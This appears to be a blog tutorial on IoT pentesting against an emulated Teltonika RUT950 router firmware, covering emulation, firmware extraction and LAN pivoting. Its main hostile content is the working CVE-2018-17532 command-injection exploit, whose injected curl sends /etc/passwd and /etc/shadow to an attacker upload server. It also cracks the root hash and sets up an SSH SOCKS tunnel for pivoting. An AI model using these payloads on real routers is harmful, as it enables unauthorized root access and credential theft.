Home IoT Pentesting with Teltonika RUT9XX
Post
Cancel

IoT Pentesting with Teltonika RUT9XX

Today we are going to practice some IoT pentesting with a device called RUT950 as an example.

I’ll explain different techniques used in IoT pentesting including emulation, firmware analysis, exploitation and pivoting.

This article was made for a hack event organised by The hacking News B’Darija.

Disclaimer

All information and software available on this page are for educational purposes only.

Our target

Pasted image 20220724201003

RUT950 is a high-performance industrial 4G LTE Wi-Fi router designed as a Main/Backup internet source and guarantees a reliable internet connection with high data throughput and data redundancy.

You can see all features here : https://teltonika-networks.com/product/rut950/

I don’t have the device, so emulation is our go.

Pasted image 20220725033832

Emulation

A lot of IoT devices like routers and embedded systems runs on a RISC CPUs with MIPS architucture.

The RUT950 has A MIPS CPU “Atheros, MIPS 74Kc, 550 MHz”. You can get more details from the datasheet https://teltonika-networks.com/downloads/en/rut950/RUT950_Datasheet-v1.0.pdf

To be able to emulate the router, we need a emulator/virtualizer to be able to transform MIPS instructions intended for the real hardware to our x64 system.

There’s a project called Qemu. It’s a generic and open source machine emulator and virtualizer. You can read the documentation for more details here : https://qemu-project.gitlab.io/qemu/about/index.html

Here is an example of a binary emulation from our target https://www.youtube.com/watch?v=xXfjmVJ_iho

As we target a router system, there is project called Firmware Analysis Toolkit used to emulate firmware and analyse it for security vulnerabilities using Qemu https://github.com/attify/firmware-analysis-toolkit

Firmware Analysis Toolkit : Installation

The tool requires multiple dependencies. You can use the author’s OS for better experience https://github.com/adi0x90/attifyos

For me i will setup the tool in a Kali linux 2022.2 in vmware.

Start by cloning the project from github and running the setup.sh

1
2
3
git clone https://github.com/attify/firmware-analysis-toolkit
cd firmware-analysis-toolkit
./setup.sh

Some errors during installalation

  • Before running setup.sh, if you use kali linux just remove lsb-core from the line 5.
  • While installing binwalk there is a problem with the qt5base-dev. In line 64 in binwalk/deps.sh change “qt5base-dev” to “qtbase5-dev” https://github.com/ReFirmLabs/binwalk/blob/master/deps.sh#L46
  • Another problem with sasquatch compilation https://github.com/devttys0/sasquatch/issues/48. in binwalk/deps.sh change “https://github.com/devttys0/sasquatch” to “https://github.com/threadexio/sasquatch” It’s fork that has the fix https://github.com/ReFirmLabs/binwalk/blob/master/deps.sh#L86
  • Now return the setup.sh file , comment git clone binwalk https://github.com/attify/firmware-analysis-toolkit#L8 and rerun setup.sh.

After installation, we need to add sudo password to the config file “fat.config”.

1
2
3
[DEFAULT]
sudo_password=kali
firmadyne_path=/home/attify/firmadyne

Emulation using firmware

For the emulation, we going to use the router firmware. You can find it at https://wiki.teltonika-networks.com/view/RUT950Firmware_Downloads(legacy_WebUI)

There’s a technique to dump the firmware from the UART interface and also get a shell.

UART is used for asynchronous serial communications to send and receive data from devices for purposes such as updating firmware manually, debugging tests, or interfacing with the underlying system

For our target, UART is not supported (maybe) https://teltonika-networks.com/compare/?networking=rut950,rut955. We can find a close version with serial enabled https://fccid.io/2AET4RUT955AF/Internal-Photos/Internal-Photos-4897313

image

here is an example for RUTX09 https://community.teltonika-networks.com/18898/notice-there-internal-serial-port-device-rutx09-how-do-use-it

Pasted image 20220724212511 Pasted image 20220724212526

To be able to communicate with the UART interface, we need a USB to serial converter.

You can find more details here about the whole thing : https://www.youtube.com/watch?v=YD6ODeER8qM

For the firmware, i’ll use an old version # RUT9XX_R_00.04.172 2018.04.10

Running fat.py with our firmware

1
./fat.py RUT9XX_R_00.04.172_WEBUI.bin

In the first try, i had a an empty network interfaces so i increased the timeout to 360 in scripts/inferNetwork.sh

1
2
echo "Running firmware ${IID}: terminating after 360 secs..."
timeout --preserve-status --signal SIGINT 360 "${SCRIPT_DIR}/run.${ARCH}.sh" "${IID}"

Now let’s run it again

Pasted image 20220724215828

We can see our machine ip address let’s click enter now

We can use enter again after init finshed to access shell

Pasted image 20220725034753

After a while check the router webpage at http//:192.168.1.1

Pasted image 20220724220246

Let’s run an nmap scan to see if other services are up too

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 192.168.1.1
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-24 17:03 EDT
Nmap scan report for 192.168.1.1
Host is up (0.0089s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      Dropbear sshd 2018.76 (protocol 2.0)
53/tcp  open  domain   dnsmasq 2.78
| dns-nsid: 
|_  bind.version: dnsmasq-2.78
80/tcp  open  http     LuCI Lua http config
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http LuCI Lua http config
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=Teltonika/stateOrProvinceName=Vilnius/countryName=LT
| Not valid before: 2018-04-10T12:23:14
|_Not valid after:  2020-04-09T12:23:14
|_ssl-date: 2018-04-10T12:27:39+00:00; -4y105d08h36m43s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

As we can see we have ssh, dns, http and https up. Now let’s do some hacking stuff.

Vulnerabilities

There are many ways to find vulnerabilities in our system :

  • Firmware : the best way to start is by exploring the firmware. We can find a lot of things like services source code, hardcoded creds and more. I’ll do a quick overview later in the article

  • Services : as we can see in our previous nmap scan, we were able to identify services versions like dropbear ssh 2018.76 for ssh, dnsmasq 2.78 for dns and LuCI lua http for the web service. We can search for vulnerabilities in these services.

  • Routersploit : is an open-source exploitation framework dedicated to embedded devices. It’s has a lot of exploits, creds, scanners, payloads and generic attacks modules for embedded devices https://github.com/threat9/routersploit

  • Releases changelog : in many scenarios we can see that a device is not running the latest version, so we can track fixes for newers version. For example in our case i choosed the version “RUT9XX_R_00.04.172WEBUI.bin” if we go above a little bit we can see that in the version “RUT9XX_R_00.04.233” a CVE was fixed https://wiki.teltonika-networks.com/view/RUT950_Firmware_Downloads(legacy_WebUI)

1
2
3
4
-   Fixes:
    -   Minor Hotspot fixes (CVE-2018-17532)
    -   Minor SIM Switch fixes
    -   Minor opkg fix and package update
  • Searching for CVEs : https://www.opencve.io/cve?vendor=teltonika&product=rut950_firmware

Pasted image 20220724222320

  • POCs : we can search on github also for same research about the device. Sometimes you can find some research and tools that can help with the pentesting documentation.

  • Finiding your own exploit / Bug bounty : You can go for the ultimate win by analysing the device and try find exploits. As an example we can use burp and start exploring the web interface to garther more information and start analyzing / fuzzing. The firmware can help also in this case, we can look at web files and reverse used binaires also. Here is an example of an exploit found by analyzing a binary in a TP link router : https://www.youtube.com/watch?v=zjafMP7EgEA

CVE-2018-17532 : Teltonika RUT9XX Unauthenticated OS Command Injection

Teltonika RUT9XX routers with firmware before 00.04.233 are prone to multiple unauthenticated OS command injection vulnerabilities in autologin.cgi and hotspotlogin.cgi due to insufficient user input sanitization. This allows remote attackers to execute arbitrary commands with root privileges.

We can see more details here : https://www.opencve.io/cve/CVE-2018-17532

Full explanation here : https://github.com/sbaresearch/advisories/tree/public/2018/SBA-ADV-20180319-01_Teltonika_OS_Command_Injection

With the “hotspotlogin.cgi” file, he found that there is no proper sanitization for user input in the uamip parameter that is loaded in an os.execute :skull: 

POC

An attacker can exploit this vulnerability by manipulating the uamip parameter:

1
curl -v -o /dev/null "http://$IP/cgi-bin/hotspotlogin.cgi" -d 'send=1&uamip="; id >/tmp/test #'

The device executes the commands with root privileges:

1
2
cat /tmp/test
uid=0(root) gid=0(root)

Let’s use the exploit with our emulated device

The exploit is blind, so we need something to see the output without accessing the router shell.

I’ll use a webserver https://pypi.org/project/uploadserver/

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Sending the exploit

1
curl -v -o /dev/null "http://192.168.1.1/cgi-bin/hotspotlogin.cgi" -d 'send=1&uamip="; curl -X POST http://192.168.1.110:8000/upload -F "files=@/etc/passwd" #'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
*   Trying 192.168.1.1:80...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
> POST /cgi-bin/hotspotlogin.cgi HTTP/1.1
> Host: 192.168.1.1
> User-Agent: curl/7.82.0
> Accept: */*
> Content-Length: 87
> Content-Type: application/x-www-form-urlencoded
> 
} [87 bytes data]
100    87    0     0  100    87      0     27  0:00:03  0:00:03 --:--:--    27* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Connection: close
< Transfer-Encoding: chunked
100    87    0     0  100    87      0     23  0:00:03  0:00:03 --:--:--    23< Content-Type: text/html; charset=utf-8
< 
{ [5 bytes data]
100  2760    0  2673  100    87    736     23  0:00:03  0:00:03 --:--:--   759
* Closing connection 0
                                                                                                 

Let’s see our server

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.1.1 - - [24/Jul/2022 17:45:48] Upload of "passwd" accepted
192.168.1.1 - - [24/Jul/2022 17:45:48] "POST /upload HTTP/1.1" 204 -
192.168.1.1 - - [24/Jul/2022 17:45:50] Upload of "passwd" accepted
192.168.1.1 - - [24/Jul/2022 17:45:50] "POST /upload HTTP/1.1" 204 -

We were able to get the passwd file, let’s check it

1
2
3
4
5
6
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false

As we can see the os command injection worked and we were able to get the passwd file using curl

Now let’s try with a reverse shell. I tried multiple reverse shells with bash ,ash and sh but without success. We need to find another solution.

Shadow file

As the exploit run commandes using root privileges, let’s read the /etc/shadow file

1
curl -v -o /dev/null "http://192.168.1.1/cgi-bin/hotspotlogin.cgi" -d 'send=1&uamip="; curl -X POST http://192.168.1.110:8000/upload -F "files=@/etc/shadow" #'
1
2
3
4
5
6
root:$1$o1tYRea4$blIAJ7l1GqkT8NTwcC41n1:15225:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::

We got the root hash. It’s a md5crypt hash. Let’s crack it using hashcat or john.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~]
└─$ john hash.txt
Created directory: /home/kali/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
admin01          (?)     
1g 0:00:00:47 DONE 3/3 (2022-07-24 18:09) 0.02124g/s 105252p/s 105252c/s 105252C/s adoutt1..admarri
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

1
2
3
hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt 

$1$o1tYRea4$blIAJ7l1GqkT8NTwcC41n1:admin01

The root password is “admin01”. It’s the default one because we didn’t change it in the web interface

Now let’s try ssh to device

1
2
3
4
┌──(kali㉿kali)-[~]
└─$ ssh root@192.168.1.1                                        
Unable to negotiate with 192.168.1.1 port 22: no matching host key type found. Their offer: ssh-rsa

A problem with the host key. Let’s use ssh-rsa

1
ssh -o HostKeyAlgorithms=ssh-rsa root@192.168.1.1 

Pasted image 20220724232345

We can use shell access to explore system files and services.

Pivoting to Lan network

We can use our ssh acces to create a tunnel and explore the lan network for real case scenario.

SSH Tunneling

I’m going to create a tunnel with the machine and configure proxychains to use it.

1
ssh -o HostKeyAlgorithms=ssh-rsa root@192.168.1.1 -D 9050 -N -f
1
2
3
4
**-D**  

[bindaddress:]port  
Specifies a local ''dynamic'' application-level port forwarding. This works by allocating a socket to listen to _port_ on the local side, optionally bound to the specified _bind_address_. Whenever a connection is made to this port, the connection is forwarded over the secure channel, and the application protocol is then used to determine where to connect to from the remote machine. Currently the SOCKS4 and SOCKS5 protocols are supported, and **ssh** will act as a SOCKS server. Only root can forward privileged ports. Dynamic port forwardings can also be specified in the configuration file.

Now we need to add the socks proxy to proxychains

/etc/proxychains4.conf

In proxy lists at the end add :

1
socks5  127.0.0.1 9050

Now let’s test the tunnel with a curl to the router web page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~]
└─$ proxychains curl http://localhost
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:80  ...  OK
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="refresh" content="0; URL=/cgi-bin/luci" />
</head>
<body style="background-color: white">
<a style="color: white; text-decoration: none" href="/cgi-bin/luci">Wait for configuration</a>
</body>
</html>

Using nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~]
└─$ proxychains nmap -sC -sV -p22 localhost
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-24 21:19 EDT
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:80  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:22  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:22  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:22  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:22  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:22  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:22  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:22  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:22  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:22  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:22  ...  OK
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     Dropbear sshd 2018.76 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can use the router to send anything to the local network. For example let’s hit our webserver

1
proxychains curl http://192.168.1.110:8000
1
2
3
4
5
6
┌──(kali㉿kali)-[~]
└─$ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.1.1 - - [24/Jul/2022 21:20:46] "GET / HTTP/1.1" 200 -

As we can see 192.168.1.1 who did the resquest.

We can attack LAN network directly now, especially targets that can be accessed only locally.

CLI interface

We can test a CLI feature using a ssh tunnel from outside. It’s called “shellinabox”. We can run it form web interface / services / CLI.

If we look at ps from the ssh shell, we can see that a new service has been executed and it uses port 4200.

1
2
3
 2838 nobody    1536 S    /usr/sbin/shellinaboxd --port=4200
 2842 nobody    1496 S    /usr/sbin/shellinaboxd --port=4200

Let’s use our tunnel to access the service

1
proxychains firefox 

Pasted image 20220725025715

Firmware analysis at end x)

I’ll use binwalk to get more details about the firmware and extract files

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~]
└─$ binwalk RUT9XX_R_00.04.172_WEBUI.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
512           0x200           LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 3626612 bytes
1192244       0x123134        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 10170504 bytes, 2700 inodes, blocksize: 262144 bytes, created: 2018-04-10 12:23:58

We can see that our system use Squashfs filesystem. Let’s extract the filesystem

1
binwalk -e RUT9XX_R_00.04.172_WEBUI.bin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/_RUT9XX_R_00.04.172_WEBUI.bin.extracted/squashfs-root]
└─$ ls -la
total 64
drwxr-xr-x 16 kali kali 4096 Jul 24 22:02 .
drwxr-xr-x  4 kali kali 4096 Jul 24 22:02 ..
drwxr-xr-x  2 kali kali 4096 Apr 10  2018 bin
drwxr-xr-x  2 kali kali 4096 Apr 10  2018 dev
drwxr-xr-x 33 kali kali 4096 Jul 24 22:02 etc
drwxr-xr-x 13 kali kali 4096 Apr 10  2018 lib
lrwxrwxrwx  1 kali kali    9 Jul 24 22:02 log -> /dev/null
drwxr-xr-x  3 kali kali 4096 Apr 10  2018 mnt
drwxr-xr-x  2 kali kali 4096 Apr 10  2018 overlay
drwxr-xr-x  2 kali kali 4096 Apr 10  2018 proc
drwxr-xr-x  2 kali kali 4096 Apr 10  2018 rom
drwxr-xr-x  2 kali kali 4096 Apr 10  2018 root
drwxr-xr-x  3 kali kali 4096 Apr 10  2018 sbin
drwxr-xr-x  2 kali kali 4096 Apr 10  2018 sys
drwxrwxrwt  2 kali kali 4096 Apr 10  2018 tmp
drwxr-xr-x  8 kali kali 4096 Apr 10  2018 usr
lrwxrwxrwx  1 kali kali    9 Jul 24 22:02 var -> /dev/null
drwxr-xr-x  4 kali kali 4096 Apr 10  2018 www

As we see, this is the Linux filesystem. Let’s start by a quick check of the etc files.

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/_RUT9XX_R_00.04.172_WEBUI.bin.extracted/squashfs-root]
└─$ cat etc/shadow  
root:$1$o1tYRea4$blIAJ7l1GqkT8NTwcC41n1:15225:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::

For the shadow file we can see the same hash that we cracked early, It’s the same one because we did’nt change it.

If we start our study using firmware, we can see a security issue here with a hardcoded root password.

For more static research, i’ll use a tool called firmwalker https://github.com/craigz28/firmwalker

1
2
┌──(kali㉿kali)-[~/_RUT9XX_R_00.04.172_WEBUI.bin.extracted/squashfs-root]
└─$ ./firmwalker.sh /home/kali/_RUT9XX_R_00.04.172_WEBUI.bin.extracted/squashfs-root output.txt

The tool used shodan so you need to init the api key (you can use the free one) or comment shodan commandes inside sh files.

The output gives a quick look at interesting files like config and sh files.

For more advanced tools, you can check FACT https://fkie-cad.github.io/FACT_core/

Pasted image 20220725032504

Conclusion

There so much stuff to talk about it, analyze and maybe start digging for new CVEs with the recent firmware version but for today, this is all i got for you guys.

I hope you find this article useful (i know it’s boring xd ).

This post is licensed under CC BY 4.0 by the author.

-

Android Applications Pentesting, Intentional Exercise from Hackerone platform